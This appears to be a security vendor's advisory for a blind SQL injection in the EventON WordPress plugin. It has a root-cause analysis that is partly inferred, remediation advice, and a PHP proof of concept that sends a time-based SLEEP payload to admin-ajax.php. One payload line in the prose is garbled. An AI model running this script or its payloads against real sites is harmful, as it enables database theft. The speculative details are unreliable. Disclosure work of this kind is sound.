Published : June 29, 2026

CVE-2026-9711: EventON WordPress Virtual Event Calendar Plugin <= 5.0.11 Unauthenticated Blind SQL Injection via Search Parameter PoC, Patch Analysis & Rule

CVE ID CVE-2026-9711

Plugin eventON

Severity Critical (CVSS 9.8)

CWE 89

Vulnerable Version 5.0.11

Patched Version —

Disclosed June 28, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-9711 (metadata-based): This vulnerability is an unauthenticated blind SQL injection in the EventON WordPress virtual event calendar plugin, versions up to and including 5.0.11. The CVSS score of 9.8 (Critical) reflects the severe impact: unauthenticated remote attackers can execute arbitrary SQL queries and extract sensitive database contents. The vulnerability exists in the plugin’s search functionality when the ‘search’ parameter is processed.

The root cause, as inferred from the CWE-89 classification and vulnerability description, is improper neutralization of the user-supplied ‘search’ parameter before it is used in a SQL query. The description explicitly states insufficient escaping on the parameter and lack of prepared statements. The plugin likely constructs dynamic SQL queries by directly concatenating user input from the ‘search’ WordPress parameter into an existing query. This is a classic SQL injection pattern. While no source code is available to confirm the exact vulnerable file, the pattern suggests a function that hooks into WordPress’s search mechanism (likely via ‘pre_get_posts’ filter or a custom query building function inside the plugin’s event calendar shortcode or widget).

An unauthenticated attacker can exploit this by sending a crafted HTTP request to the WordPress AJAX handler or the plugin’s REST endpoint that processes event search queries. The attack vector is network-based with low complexity. The attacker sends a request to /wp-admin/admin-ajax.php with an action parameter tied to the EventON search functionality (likely ‘eventon_search_ajax’ or similar) and injects SQL in the ‘search’ parameter value. A typical payload would be: ‘ OR 1=1 INTO OUTFILE (for fileless, use blind inference techniques like time-based). Because the ‘Enable additional search queries’ setting must be enabled and at least one published event must exist, exploitation requires these conditions. The injection point is the ‘search’ parameter processed without parameterized queries.

Remediation requires the vendor to update the vulnerable code to use prepared statements (parameterized queries) with $wpdb->prepare() in WordPress. The plugin must escape all user-supplied data before including it in SQL queries. The specific fix involves replacing direct string interpolation in the SQL query with placeholder substitution. Additionally, the ‘Enable additional search queries’ setting should require administrator privileges or be removed if it introduces further risk.

The impact of successful exploitation is severe. An attacker can extract all WordPress database contents, including user credentials (hashed passwords), user email addresses, private post content, and sensitive site configuration options. With database access, an attacker can escalate privileges by modifying user roles or password hashes, potentially leading to full site compromise and remote code execution if the database user has file write permissions. The unauthenticated nature means any visitor to the site can trigger the attack.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-9711 - EventON - WordPress Virtual Event Calendar Plugin <= 5.0.11 - Unauthenticated Blind SQL Injection via Search Parameter

$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress site URL
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// The plugin's AJAX action for search functionality (inferred from plugin patterns)
$action = 'eventon_search_ajax';

// SQL injection payload for time-based blind extraction of admin user hash
// We use SLEEP(5) to test if injection is successful
$payload = "1' AND (SELECT SLEEP(5) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1) AND '1'='1";

// Prepare POST data (the 'search' parameter is the injection point)
$post_data = array(
    'action' => $action,
    'search' => $payload
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 15); // ensure we capture delays

// Execute request
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$duration = $end_time - $start_time;

curl_close($ch);

// If the response took >= 5 seconds, SQL injection is likely successful
if ($duration >= 5) {
    echo "[+] Target is VULNERABLE to CVE-2026-9711 (blind SQL injection)n";
    echo "[+] Time-based payload caused delay: " . round($duration, 2) . " secondsn";
} else {
    echo "[-] Target does not appear vulnerable, or conditions not met (setting disabled, no events)n";
}
?>

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